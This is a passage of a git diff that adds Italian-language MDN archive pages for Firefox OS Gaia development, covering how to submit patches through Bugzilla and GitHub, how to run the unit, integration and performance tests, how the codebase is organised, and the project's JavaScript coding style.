+ Quindi dovresti rimuovere la cartella locale <code>node_modules</code> ed eseguire nuovamente il comando fallito.</p>
+
+<h3 id="Please_Install_NodeJS_--_(use_aptitude_on_linux_or_homebrew_on_osx)">Please Install NodeJS -- (use aptitude on linux or homebrew on osx)</h3>
+
+<p>Potresti ottenere questo errore nonostante tu possa pensare di aver installato NodeJs. Probabilmente stai utilizzando Debian o una distribuzione basata su Debian quale Ubuntu. In queste distribuzioni, NodeJS è contenuto nel pacchetto <code>nodejs</code> e per installarlo correttamente dovrai installare il pacchetto <code>nodejs-legacy</code>:</p>
+
+<pre class="brush: bash">sudo aptitude install nodejs-legacy</pre>
+
+<p>Se hai problemi di installazione, forse stai utilizzando il <a href="http://www.ubuntuupdates.org/ppa/chris_lea_nodejs">PPA di Chris Lea per Node</a>; per favore rimuovilo prima di proseguire oltre.</p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/submitting_a_gaia_patch/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/submitting_a_gaia_patch/index.html
new file mode 100644
index 0000000000..ef206a4a97
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/submitting_a_gaia_patch/index.html
@@ -0,0 +1,117 @@
+---
+title: Sottoporre una patch di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Submitting_a_Gaia_patch
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - Sottoporre una patch
+translation_of: Archive/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch
+---
+<div class="summary">
+<p><span class="seoSummary">Ora dovresti aver apportato una modifica e verificato che non abbia introdotto regressioni sul codice di Gaia. Il prossimo passo consiste nel sottoporre la patch sul repository centrale. Viene descritto in questo articolo.</span></p>
+</div>
+
+<p>Sottoporre patch a Gaia può risultare un po' complicato in quanto la procedura richiede l'utilizzo di Bugzilla e Github, e la compilazione di alcuni flag speciali in Bugzilla per garantire la corretta sequenza delle azioni.</p>
+
+<h2 id="Sottoporre_una_patch_facilmente_con_Autolander">Sottoporre una patch facilmente con Autolander</h2>
+
+<p><a href="https://github.com/mozilla/autolander">Autolander </a>è uno strumento che automaticamente gestisce molti dei passi richiesti per la sottomissione di patch di Gaia (e di altri progetti in cui viene utilizzato), risparmiando tempo e riducendo errori manuali di processo. Autolander integra Bugzilla con il workflow di Github agganciando richieste di pull ai bug automaticamente e altre cose simili. Per utilizzare Autolander:</p>
+
+<ol>
+ <li>Primo, apri un bug su Bugzilla per indicare cosa stai facendo, se non ne è già stato aperto uno per la medesima modifica al codice. Dovrai aprirlo come <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">prodotto Firefox OS</a> e dovrai assegnargli un titolo descrittivo.</li>
+ <li>Ora è il momento di <a href="https://help.github.com/articles/creating-a-pull-request">creare una richiesta di pull</a> (<em>pull request</em>, PR in breve) per proporre la tua patch. Se hai seguito la nostra guida dall'inizio, dovresti avere le tue modifiche localmente in un'alberatura duplicata del repository di Gaia a cui hai assegnato un nome univoco. Successivamente, dovrai eseguire il comando <code>git add .</code>  e  <code>git commit -m 'messaggio di commit'</code>.</li>
+ <li><code>'messaggio di commit'</code> dovrà essere sostituito con una stringa che conterrà il numero di bug di Bugzilla, il titolo utilizzato per l'apertura, le informazioni che descrivono cosa fa la patch e chi sta committando. Per esempio:
+  <pre class="brush: bash">Bug 9999999 - Fix per la risoluzione del bug R=johndoe</pre>
+ </li>
+ <li>Deposita il codice sul tuo fork di Gaia su github, quindi crea la richiesta di PR per proporre l'inclusione nella branch main.</li>
+ <li>Non appena la richiesta di pull verrà aperta, verrà associata al bug tracciato nel titolo della richiesta di PR.</li>
+ <li>Successivamente, quando sull'allegato verrà posto il flag <code>r+</code> da un revisore, potrai aggiungere la parola chiave <code>autoland</code>  all'interno del campo <code>keywords </code>affinchè il codice venga depositato nel branch master di Gaia (Autolander depositerà il codice, farà il merge della richiesta di PR, farà la commit e segnalerà il bug come fissato). Attualmente questa parte è ancora in revisione, pertanto dovra ancora aggiungere la parola chiave <code>checkin-needed</code> e attendere che il codice venga depositato per tuo conto.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Autolander esegue i test di integrazione prima di depositare il codice nella master. Se i test di integrazione falliscono, Autolander non depositerà il codice. Autolander esegue alcune regole semplici di validazione quali la verifica della presenza del numero di bug nella richeista di pull e nel messaggio di commit.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: le richieste di pull vengono depositate secondo l'ordine in cui arrivano, in un branch di integrazione e quindi vengono eseguiti i test di integrazione in parallelo su tutte le richieste. Se i test falliscono per una PR, essa viene rigettata, e la branch di integrazione viene ricostruita con le richieste rimanenti. Quando una richiesta passa i test viene depositata nella branch master.</p>
+</div>
+
+<h2 id="Sottoporre_una_patch_manualmente">Sottoporre una patch manualmente</h2>
+
+<p>In alternativa a Autolander, puoi seguire la seguente procedura per sottoporre una patch di Gaia:</p>
+
+<ol>
+ <li>Primo, apri un bug su Bugzilla per indicare cosa stai facendo, se non ne è già stato aperto uno per la medesima modifica. Dovrai aprirlo come <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">prodotto Firefox OS</a> e dovrai assegnargli un titolo descrittivo.</li>
+ <li>Ora è il momento di <a href="https://help.github.com/articles/creating-a-pull-request">creare una richiesta di pull</a> (<em>pull request</em>, PR in breve) per proporre la tua patch. Se hai seguito la nostra guida dall'inizio, dovresti avere le tue modifiche localmente in un'alberatura duplicata del repository di Gaia a cui hai assegnato un nome univoco. Successivamente, dovrai eseguire il comando <code>git add .</code>  e  <code>git commit -m 'messaggio di commit'</code>.</li>
+ <li><code>'messaggio di commit'</code> dovrà essere sostituito con una stringa che conterrà il numero di bug di Bugzilla, il titolo utilizzato per l'apertura, le informazioni che descrivono cosa fa la patch e chi sta committando. Per esempio:
+  <pre class="brush: bash">Bug 9999999 - Fix per la risoluzione del bug R=johndoe</pre>
+ </li>
+ <li>Sottoponi il codice e crea la richiesta di PR.</li>
+ <li>Aggiungi la URL della PR come allegato del Bug di Bugzilla (segui il link <em>Add an attachment </em>e inserisci la URL del PR come contenuto dell'allegato, aggiungi quindi una breve descrizione).</li>
+ <li>All'interno della scheda dove hai allegato la richiesta di PR richiedi un revisore per la tua patch. Potrai farlo aggiungendo un flag <code>review: ?</code>, quindi includendo il possessore del modulo che intendi modificare (vedi la <a href="https://wiki.mozilla.org/Modules/FirefoxOS">pagina dei possessori dei moduli</a> per maggiori dettagli).</li>
+ <li>Attendi che venga assegnato un revisore e che riveda la tua patch. Il revisore potrebbe aggiungere alcuni commenti e chiederti di apportare modifiche direttamente sulla tua richiesta  di PR in github.</li>
+ <li>Gestisci le richieste del revisore e quindi carica le nuove modifiche al medesimo PR come fatto in precedenza, rimettendo il flag <code>review: ?</code>.</li>
+ <li>Se vengono approvate, al bug verrà assegnato il flag <code>r+</code> (significa che è stato rivisto/approvato). Dovrai <a href="https://github.com/ginatrapani/todo.txt-android/wiki/Squash-All-Commits-Related-to-a-Single-Issue-into-a-Single-Commit">aggregare tutti i commit in uno</a> (leggi anche la sezione sottostante {{ anch("Suggerimenti_per_il_riallineamento") }}).</li>
+ <li>Aggiungi la parola chiave <code>checkin-needed</code> nel campo <em>keywords</em>. A questo punto devi solo attendere che qualcuno depositi la tua patch nei sorgenti di Gaia..</li>
+ <li>Congratulazione il tuo codice è ora parte di Firefox OS!</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: vi raccomandiamo di attenervi ad una commit per revisione.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: per ulteriori informazioni sulla sottomissione di patch puoi leggere l'artcolo  <a href="https://github.com/mozilla-b2g/gaia/blob/master/CONTRIBUTING.md">contributing.md</a>.</p>
+</div>
+
+<h2 id="Suggerimenti_per_il_riallineamento">Suggerimenti per il riallineamento</h2>
+
+<p>Il branch master di Gaia cambia continuamente (molte volte al giorno). Dopo aver creato una patch in 2 ore, potresti trovare che il branch master sia cambiato nel frattempo.<br>
+ <br>
+ Dal tuo branch di lavoro (per esempio <code>my-code-fix</code>) il primo tentativo di riallineamento potrebbe somigliare al seguente:</p>
+
+<pre class="brush: bash">git checkout -b my-code-fix-r1
+git pull --rebase upstream master</pre>
+
+<p>Se non ci sono conflitti, puoi procedere come segue:</p>
+
+<pre class="brush: bash">git checkout my-code-fix
+git pull --rebase upstream master
+git branch -D my-code-fix-r1</pre>
+
+<p>Se trovi dei conflitti, discutili con gli sviluppatori responsabili delle modifiche che hanno generato i conflitti e una volta risolti ripeti la procedura di riallineamento appena descritta.</p>
+
+<h2 id="Bug_di_tracciamento_di_stato_e_bug_di_ingegneria">Bug di tracciamento di stato e bug di ingegneria</h2>
+
+<p>Mozilla ha una figura speciale chiamata <a href="/en-US/docs/Developer_Guide/Committing_Rules_and_Responsibilities">Sceriffo</a> (<em>sheriff</em>). Gli sceriffi hanno il compito di effettuare i merge di codice e di manutenere lo stato dei branch. Poichè il numero degli sceriffi è limitato, è difficile per loro gestire tutte le patch imperfette.</p>
+
+<p>Per questo motivo per Firefox OS preferiamo aprire un nuovo bug e quindi gestire una nuova patch ogni qualvolta la patch inviata non lavora come dovrebbe. Ciò potrebbe causare qualche difficoltà nell'interpretazione dello stato del bug in QA e nei team di project management.</p>
+
+<p>Per questo motivo i bugs vengono classificati fra bug di tracciamento di stato (<em>status</em> <em>tracking bugs</em>) e bug di ingegneria (<em>engineering bugs</em>).</p>
+
+<ul>
+ <li>I bug di tracciamento di stato vengono identificati tramite una "meta" parola chiave. Un bug di stato può essere riaperto se non soddisfa i criteri di accettazione oppure se fallisce durante lo step di riproduzione.</li>
+ <li>Un bug di ingegneria dovrebbe essere riaperto <strong>solo</strong> se fallisce un test automatico o la parch non è corretta. Se una patch fissa il bug solo parzialmente, dovresti chiudere il bug a utilizzare il campo "see also" per referenziare il bug originale e descrivere il punto di fallimento.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Se si tartta di un bug "user story", il project manager dorvebbe scrivere nel campo user story la storia e i criteri di accettazione.</p>
+</div>
+
+<h3 id="Come_recuperare_se_accidentalmente_carichi_una_patch_su_un_bug_di_tracciamento_di_stato">Come recuperare se accidentalmente carichi una patch su un bug di tracciamento di stato</h3>
+
+<p>Se ti succede, non andare in panico. Se accidentalmente sottoponi una patch, ricevi un review+, la sottoponi sul trunk, o viene riportato che non è risolutiva per nulla, segui le seguenti istruzioni:</p>
+
+<ol>
+ <li>Premi "Clone this bug" in alto a destra dell'interfaccia utente di Bugzilla per creare un nuovo bug copiando la maggior parte dei campi originali. Verifiche che i campi whiteboard, keyword, e STR/user story siano stati copiati nel nuovo bug.</li>
+ <li>Imposta il nuovo bug come bloccato dal vecchio bug. Il nuovo bug sarà di tipo bug di tracciamento di stato.</li>
+ <li>Utiliza il flag <em>needinfo</em> per avvisare il project manager del cambiamento di stato. <a href="https://wiki.mozilla.org/FirefoxOS/Teams">Puoi trovare gli indirizzi email dei differenti project managers di Firefox OS</a> sul nostro Wiki.</li>
+ <li>Crea un nuovo bug di ingegneria per descrivere lo step che fallisce o il criterio di accettazione. Inoltre utilizza il nuovo bug per bloccare il bug di tracciamento.</li>
+ <li>Infine prova a sviluppare una fix per il nuovo bug. Felice hacking!</li>
+</ol>
+
+<h2 id="Applicare_patch_su_vecchi_branch">Applicare patch su vecchi branch</h2>
+
+<p>Potresti trovare differenti tag di versione associati a bug. Se vuoi applicare patch a vecchi branch di  Firefox OS, verifica che soddisfino le regole di sottomissione. Puoi trovare maggiori dettagli nel seguente aricolo <a href="https://wiki.mozilla.org/Release_Management/B2G_Landing">B2G Landing</a>.</p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/testing_gaia_code_changes/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/testing_gaia_code_changes/index.html
new file mode 100644
index 0000000000..72b4c5e998
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/testing_gaia_code_changes/index.html
@@ -0,0 +1,119 @@
+---
+title: Provare le modifiche al codice di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Testing_Gaia_code_changes
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guide
+  - Integrazione
+  - Performance
+  - Testing
+translation_of: Archive/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes
+---
+<div class="summary">
+<p><span class="seoSummary">Prima di sottomettere una patch al progetto dovrai eseguire alcune procedure di test per verificare che le modifiche che hai apportato al codice siano realmente funzionanti, e lo siano con tutto il resto del codice di Gaia. Questo articolo spiega come.</span></p>
+</div>
+
+<p>La procedura di test generalmente consiste in:</p>
+
+<ul>
+ <li>Procedura di debugging standard</li>
+ <li>Esecuzione di test automatici</li>
+</ul>
+
+<p>Esaminiamole ora entrambe.</p>
+
+<h2 id="Debugging_standard">Debugging standard</h2>
+
+<p>Se sei uno sviluppatore web esperto debuggare il codice potrebbe risultare un processo familiare. Abbiamo già discusso come <a href="https://developer.mozilla.org/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Running_the_Gaia_codebase">eseguire il codice di Gaia</a> tramite Firefox e come <a href="/en-US/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes#Simple_code_change_example">m</a><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes">odificare il codice di Gaia</a>. Per modifiche più complesse farai sicuramente un uso maggiore degli strumenti di debugging messi a disposizione da Firefox.</p>
+
+<p><strong>Nota</strong>: Ulteriori informazioni sull'utilizzo di questi strumenti sono disponibili nella nostra <a href="/en-US/docs/Tools">zona degli strumenti</a>.</p>
+
+<h2 id="Test_automatici">Test automatici</h2>
+
+<p>Prima di sottomettere una patch, dovrai eseguire la sequenza di test standard automatici abbinati a Gaia <span id="result_box" lang="it"><span class="hps">per assicurarti che le</span> <span class="hps">modifiche al codice</span> <span class="hps">non incidano negativamente</span> <span class="hps">su nessuna delle</span> <span class="hps">funzionalità essenziali</span> offerte dal <span class="hps">telefono</span><span>.</span> <span class="hps">I test</span> <span class="hps">che si possono eseguire</span> <span class="hps">sono</span></span>:</p>
+
+<ul>
+ <li>unit testing</li>
+ <li>test di integrazione</li>
+ <li>test prestazionali</li>
+ <li>test sulla UI</li>
+</ul>
+
+<p>Noi generalmente ti chiediamo di eseguire i test prima di sottomettere una patch; se sei alla tua prima esperienza puoi anche sottomettere senza eseguire i test, ma devi chiedere aiuto per poterli eseguire in futuro. Devi aggiornare il repository di Gaia per assicurarti di avere l'ultima versione.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi trovare maggiori informazioni alla pagina <a href="/en-US/Firefox_OS/Platform/Automated_testing">test automatici di Firefox OS</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Dovresti prendere in considerazione di eseguire ciascun set di test su un dispositivo reale se disponibile (alcune funzionalità non sono supportate su un emulatore), in alternativa puoi utilizzare l'emultare B2G Desktop o Firefox Nightly.</p>
+</div>
+
+<h3 id="Unit_testing">Unit testing</h3>
+
+<p>Gli unit testing sono test che vengono eseguiti sulle singole unità di codice di una più grande applicazione - nel caso di Gaia, le singole app. Gaia utilizza:</p>
+
+<ul>
+ <li><a href="http://visionmedia.github.io/mocha/">mocha</a> come framework per i test</li>
+ <li><a href="http://chaijs.com/api/assert/">chai</a> come libreria per le asserzioni</li>
+ <li><a href="http://sinonjs.org/">sinon.js</a> come libreria per mock object e stub</li>
+ <li><a href="http://blanketjs.org/">blanket.js</a> come stumento di gestione della copertura dei test</li>
+</ul>
+
+<p>Puoi utilizzare il seguente comando per scaricare, installare e avviare un server di unit testing (le operazioni impiegano alcuni minuti, potrebbe essere un buon momento per una tazza di caffè):</p>
+
+<pre class="brush: bash">DEBUG=1 make
+export FIREFOX=/Applications/FirefoxNightly.app/Contents/MacOS/firefox
+bin/gaia-test</pre>
+
+<p>Verrà aperta una pagina web locale con una lista di unit testing. Per eseguirli:</p>
+
+<ul>
+ <li>Seleziona i test che vuoi eseguire dalla lista presente nella pagina (apparirà un asterisco a fianco)</li>
+ <li>Clicca il tasto "Execute"</li>
+ <li>Vai alla fine della pagina per vedere i risultati</li>
+</ul>
+
+<p>Con la finestra aperta, puoi eseguire l'intera suite di test tramite il seguente comando:</p>
+
+<pre class="brush: bash">make test-agent-test</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Questa azione può richiedere molto tempo in quanto verranno eseguiti parecchi test (anche un'ora o più), ti converrebbe eseguire solo i test sulla app che hai mdificato. Potrai farlo aggiungendo <code>APP=&lt;app nome cartella&gt;</code> al comando precedente, per esempio <code>APP=settings</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Per ulteriori informazioni puoi leggere l'articolo <a href="/en-US/Firefox_OS/Platform/Automated_testing/Gaia_unit_tests">uniit testing di Gaia</a>.</p>
+</div>
+
+<h3 id="Test_di_integrazione">Test di integrazione</h3>
+
+<p>I test di integrazione prevedono il testing di differenti unità di codice assieme per verificare la correttezza dell'interazione fra le stesse, logicamente questo step avviene successivamente agli unit testing. I test di integrazione di Gaia sono gestiti tramite uno script <em>marionette</em> scritto in JavaScript e un server basato su python. Il server può comunicare con Gecko quindi è possibile controllare sia il browser che il dispositivo Firefox OS, facendoli interagire l'un l'altro.</p>
+
+<p>Puoi eseguire il seguente comando per avviare i test di integrazione:</p>
+
+<pre class="brush: bash">make test-integration</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Analogamente agli unit testing, eseguire i test di integrazione completi può richiedere parecchio tempo, puoi aggiungere <code>APP=&lt;app nome cartella&gt;</code> al comando precedente per provare una singola app, per esempio <code>APP=calendar</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: per eseguire test di integrazione su dispositivi differenti (non smartphone) aggiungi GAIA_DEVICE_TYPE=&lt;device type name&gt; al precedente comando per specificare la tipologia di dispositivo, per esempio GAIA_DEVICE_TYPE=tv. Se non lo farai il test potrà fallire.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: per ulteriori informazioni puoi leggere l'articolo sui <a href="/en-US/Firefox_OS/Platform/Automated_testing/Gaia_integration_tests">test di integrazione di Gaia</a>.</p>
+</div>
+
+<h3 id="Test_prestazionali">Test prestazionali</h3>
+
+<p>I test prestazionali di Gaia vengono eseguiti utilizzando il tool esterno <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Raptor">Raptor CLI tool</a>. Tramite Raptor puoi automatizzare l'esecuzione di un applicazione più volte e ottenere statistiche sui tempi di caricamento. Dopo aver eseguito un test, Raptor inoltre mostra l'utilizzo di memoria dell'applicazione.</p>
+
+<p>Per utilizzare Raptor, per favore leggi il seguente articolo <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Automated_testing/Raptor#Getting_Started">Raptor: Getting Started.</a></p>
+
+<h3 id="Test_sulla_UI">Test sulla UI</h3>
+
+<p>Fai riferimento all'articolo <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Automated_testing/gaia-ui-tests">introduzione ai test sulla UI di Gaia</a>.</p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/understanding_the_gaia_codebase/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/understanding_the_gaia_codebase/index.html
new file mode 100644
index 0000000000..64338ff8e1
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/understanding_the_gaia_codebase/index.html
@@ -0,0 +1,153 @@
+---
+title: Capire il codice di Gaia
+slug: >-
+  Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Understanding_the_Gaia_codebase
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - capire il codice di Gaia
+translation_of: Archive/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase
+---
+<div class="summary">
+<p><span class="seoSummary"><span id="result_box" lang="it"><span class="hps">Prima di iniziare</span> <span class="hps">a</span> <span class="hps">fare le proprie </span><span class="hps">modifiche al</span> <a href="https://github.com/mozilla-b2g/gaia/"><span class="hps">codice di </span><span class="hps">Gaia</span></a> <span class="hps">è necessario comprendere</span> <span class="hps">le nozioni di base sulla struttura</span> <span class="hps">di Gaia e quali</span> <span class="hps">convenzioni</span> <span class="hps">di programmazione</span> <span class="hps">utilizzare</span><span>.</span> <span class="hps">Questo articolo descrive</span> <span class="hps">entrambi questi</span> aspetti.</span></span></p>
+</div>
+
+<h2 id="Branch_di_Gaia">Branch di Gaia</h2>
+
+<p>Nel codice di Gaia sono presenti differenti branch, e in funzione del tuo obiettivo (o del dispositivo in tuo possesso), potresti non necessariamente scaricare o lavorare sulla branch master. Segue una guida sintetica ai repository principali:</p>
+
+<ul>
+ <li><strong>master</strong> — l'ultima branch di sviluppo. Potrai utilizzare questa branch se vorrai sviluppare nuove funzionalità (o fissare bug), oppure se vorrai utilizzare l'ultima versione di Gaia sul tuo telefono o emulatore.</li>
+ <li><strong>v2.1</strong>, <strong>v2.0</strong>, <strong>v1.4</strong>, ecc. — branch per le versioni di Gaia 2.1, 2.0, 1.4, ecc. Utilizzerai queste branch se vorrai fissare bug per versioni specifiche di Gaia oppure se vorrai sviluppare una App e vorrai essere certo della compatibilità rispetto a versioni specifiche (ad esempio, se utilizzerai i Building Block di Firefox OS vorrai verificare la compatibilità nelle differenti versioni di Gaia).</li>
+ <li><strong>v1.3t</strong> — la versione di Gaia per dispositivi a bassa memoria, quali il Tarako o lo Spice Fire One. Se vorrai sviluppare una app per tali dispositivi, questo è il branch che dovrai utilizzare.</li>
+</ul>
+
+<h2 id="Struttura_del_codice_di_Gaia">Struttura del codice di Gaia</h2>
+
+<p><span id="result_box" lang="it"><span class="hps">Questa sezione </span><span class="hps">descrive</span> <span class="hps">le parti più</span> <span class="hps">importanti del</span> codice di <span class="hps">Gaia</span><span>.</span></span></p>
+
+<h3 id="apps">apps/</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo direttorio contiene</span> <span class="hps">tutte le principali</span> <span class="hps">applicazioni di</span> <span class="hps">Gaia</span><span>,</span> sia <span class="hps">le applicazioni</span> presenti sulla <span class="hps">home screen</span> <span class="hps">- come</span> <span class="hps">il calendar</span> <span class="hps">e la camera</span> <span class="hps">-</span>  ch<span class="hps">e</span> <span class="hps">le applicazioni</span> <span class="hps">sottostanti</span> <span class="hps">- quali l'app di </span><span class="hps">sistema</span><span> (<em>system app</em>),</span> la <span class="hps">home screen</span><span>,</span> <span class="hps">e la tastiera</span><span>.</span></span></p>
+
+<p><span lang="it"><span class="hps">Sebbene le app</span> lavorino <span class="hps">con modalità leggermente differenti</span><span> fra loro,</span> <span class="hps">tutte hanno</span> <span class="hps">un</span> <span class="hps">certo numero</span> <span class="hps">di</span> <span class="hps">caratteristiche in comune</span><span>,</span> <span class="hps">fra cui</span><span>:</span></span></p>
+
+<ul>
+ <li><code>index.html</code>: il file principale di ciascuna app</li>
+ <li><code>manifest.webapp</code>: il file di manifesto, definisce la app</li>
+ <li><code>locales</code>: le stringhe di localizzazione per quella app</li>
+ <li><code>test</code>: test unitari e di integrazione specifici per quella app</li>
+ <li><code>js</code>, <code>style</code>: script e stili per quella app</li>
+ <li><code>resources</code>: immagini, suoni e altre risorse</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi trovare ulteriori informazioni sulle app di default di Gaia nella <a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">guida delle app di Gaia</a>.</p>
+</div>
+
+<h3 id="build">build/</h3>
+
+<p>Questo direttorio contiene gli script di build.</p>
+
+<h3 id="dev_apps">dev_apps/</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo direttorio</span> <span class="hps">contiene</span> <span class="hps">tutte le altre app</span> <span class="hps">che si vogliono includere in una</span> build<span> customizzata.</span></span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Per maggiori informzazioni sulla customizzazione di Gaia, leggi la specifica <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Market_customizations_guide">Guida alla customizzazione commerciale.</a></p>
+</div>
+
+<h3 id="keyboard">keyboard/</h3>
+
+<p>Questo direttorio contiene dizionari e layout di tastiere in differenti lingue.</p>
+
+<h3 id="locales">locales/</h3>
+
+<p>Questo direttorio contiene un file JSON, <code>languages_all.json</code>, che definisce quali lingue sono supportati in Gaia. <span id="result_box" lang="it"><span class="hps">Per maggiori</span> informazioni sulla localizzazione delle app</span>, leggi la guida di <a href="/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Avvio alla localizzazione delle app</a>.</p>
+
+<h3 id="shared">shared/</h3>
+
+<p>Questo direttorio contiene una serie di risorse condivise da più app, fra cui le più importanti sono:</p>
+
+<ul>
+ <li><code>gaia/shared/js</code>: Librerie JavaScript che eseguono funzioni comuni.</li>
+ <li><code>l10n.js</code>: L<span id="result_box" lang="it"><span class="hps">ibreria</span> <span class="hps">di localizzazione</span> <span class="hps">che individua la lingua utilizzata dal dispositivo e sostituisce le stringhe <em>localizzabili</em> con quelle contenute in un file di properties presente nel direttorio <em>locales</em> della app. </span>Le s<span class="hps">tringhe</span> <span class="hps">localizzabili</span> <span class="hps">da sostituire</span> <span class="hps">sono contenute</span> <span class="hps">in</span> <span class="hps">elementi con</span> <span class="hps">attributi</span> <span class="atn hps"><code>data-l10n-id</code></span></span>.</li>
+ <li><code>gaia/shared/locales</code>: Risorse di sistema localizzabili in alcune lingue.</li>
+ <li><code>gaia/shared/resources</code>: Icone, suonerie e allarmi.</li>
+ <li><code>gaia/shared/style</code>: <span id="result_box" lang="it"><span class="hps">Fogli di stile</span> <span class="hps">e altre risorse</span> di stile per oggetti comuni quali <span class="hps">pulsanti,</span> <span class="hps">barre di avanzamento</span><span>, barre degli strumenti</span><span>,</span> <span class="hps">schede,</span> <span class="hps">ecc</span></span></li>
+ <li><code>gaia/shared/style_unstable</code>: Risorse di stile instabili o sperimentali.</li>
+ <li><code>gaia/shared/test</code>: JavaScript per definire test unitari e di integrazione.</li>
+</ul>
+
+<h3 id="tools">tools/</h3>
+
+<p>Questo direttorio contiene strumenti per gli script di build e test.</p>
+
+<h2 id="Stile_di_programmazione_di_Gaia">Stile di programmazione di Gaia</h2>
+
+<p>Gaia segue lo <a href="http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml">stile di programmazione Javascript definito da Google</a>.</p>
+
+<p>Informazioni di base:</p>
+
+<ul>
+ <li>Stile di codifica: <a href="/en-US/docs/Mozilla/Developer_guide/Coding_Style#General_practices">General practices</a></li>
+ <li>Stile di codifica: <a href="/en-US/docs/Mozilla/Developer_guide/Coding_Style#JavaScript_practices">JavaScript practices</a></li>
+ <li>Stile di codifica: <a href="/en-US/docs/Mozilla/Developer_guide/Coding_Style#Naming_and_Formatting_code">Naming and formatting code</a></li>
+</ul>
+
+<h3 id="Regole_specifiche">Regole specifiche</h3>
+
+<ol>
+ <li>Assicurati che i file HTML sono dichiarati con <code>&lt;!DOCTYPE html&gt;</code> (come nei documenti HTML5). Se non lo fai, Internet Explorer 9 e successivi caricheranno le pagine in modalità compatibile.</li>
+ <li>Includi l'istruzione <code>"use strict";</code> (esattamente così, compresi gli apici) all'inizio del tuo file javaScript per abilitare la modalità <em>strict</em>.</li>
+ <li>Utilizza sempre due spazi per l'indentazione, piuttosto che il tab.</li>
+ <li>Per favore utilizza separatori di linea per separare blocchi logici di codice!</li>
+ <li>I file che hanno nomi con più parole dovrebbero utilizzare il carattere di "underscore" per separare le parole, <code>like_this.js</code>.</li>
+ <li>Utilizza gli apici singoli invece che doppi per le stringhe.</li>
+ <li>Utilizza la struttura condizionale estesa:
+  <pre class="brush: js">Bad
+if (expression) doSomething();
+
+Correct
+if (expression) {
+  doSomething();
+}</pre>
+ </li>
+ <li>Se stai lavorando sulla <a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/System">system app</a>, leggi la <a href="https://groups.google.com/forum/#!msg/mozilla.dev.gaia/rEhSrw6XmT4/UNvE7qW9pgYJ">convenzione qui descritta</a>.</li>
+</ol>
+
+<h3 id="Controllo_dello_stile_di_programmazione_su_base_commit">Controllo dello stile di programmazione su base commit</h3>
+
+<p>Gaia utilizza <a href="http://www.jshint.com/">JSHint</a> per automatizzare i controlli sullo stile di programmazione Javascript prima di ogni commit (sfruttando una funzionalità di git che consente di automatizzarne l'esecuzione).</p>
+
+<p>Lo script di pre-commit <a href="https://github.com/mozilla-b2g/gaia/blob/master/tools/pre-commit">gaia/tools/pre-commit</a> verrà copiato nel direttorio <code>.git/hooks</code> di progetto una volta eseguito il comando <code>make.</code></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Inizialmente utilizzavamo <a href="https://developers.google.com/closure/utilities/docs/linter_howto">gjslint</a> per controllare lo stile di programmazione, successivamente è stato deprecato a favore di JSHint in quanto permette controlli più stringenti e produce risultati migliori. Stiamo utilizzando JSHint da Firefox OS 1.4, mentre gjslint è unicamente consigliato per quei file che non sono ancora gestiti con JSHint.</p>
+</div>
+
+<h3 id="Eseguire_i_controlli_manualmente">Eseguire i controlli manualmente</h3>
+
+<p>Prima di sottomettere una patch ti consigliamo di eseguire JSHint manualmente per controllare eventuali errori di stile.<br>
+ <br>
+ Dovresti guardare nel direttorio <a href="https://github.com/mozilla-b2g/gaia/tree/master/build/jshint">gaia/build/jshint</a> per maggiori dettagli sull'utilizzo di JSHint in Gaia; Gaia ti fornisce gli script di build. Puoi eseguire il comando:</p>
+
+<pre class="brush: bash">$ make lint</pre>
+
